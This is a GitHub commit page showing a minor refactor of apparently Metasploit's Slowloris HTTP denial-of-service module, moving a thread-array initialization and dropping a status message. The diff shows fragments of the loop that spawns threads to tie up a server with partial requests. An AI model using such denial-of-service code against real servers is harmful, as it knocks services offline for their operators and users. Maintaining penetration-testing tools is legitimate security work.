Skip to content

Commit 6087821

Browse files
DanielRTeixeiramkienow-r7
authored andcommitted
Update slow_loris.rb
1 parent 9457359 commit 6087821

File tree

1 file changed

+2
-4
lines changed

1 file changed

+2
-4
lines changed

modules/auxiliary/dos/http/slow_loris.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -47,12 +47,12 @@ def timeout
4747
def run
4848
starting_thread = 1
4949
header = "GET / HTTP/1.1\r\n"
50+
threads = []
5051

5152
while true do
5253
ubound = [thread_count].min
5354
print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
54-
55-
threads = []
55+
5656
1.upto(ubound) do |i|
5757
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
5858
begin
@@ -66,9 +66,7 @@ def run
6666
end
6767
end
6868
end
69-
7069
threads.each(&:join)
71-
print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
7270
starting_thread += ubound
7371
end
7472
end

0 commit comments

Comments
 (0)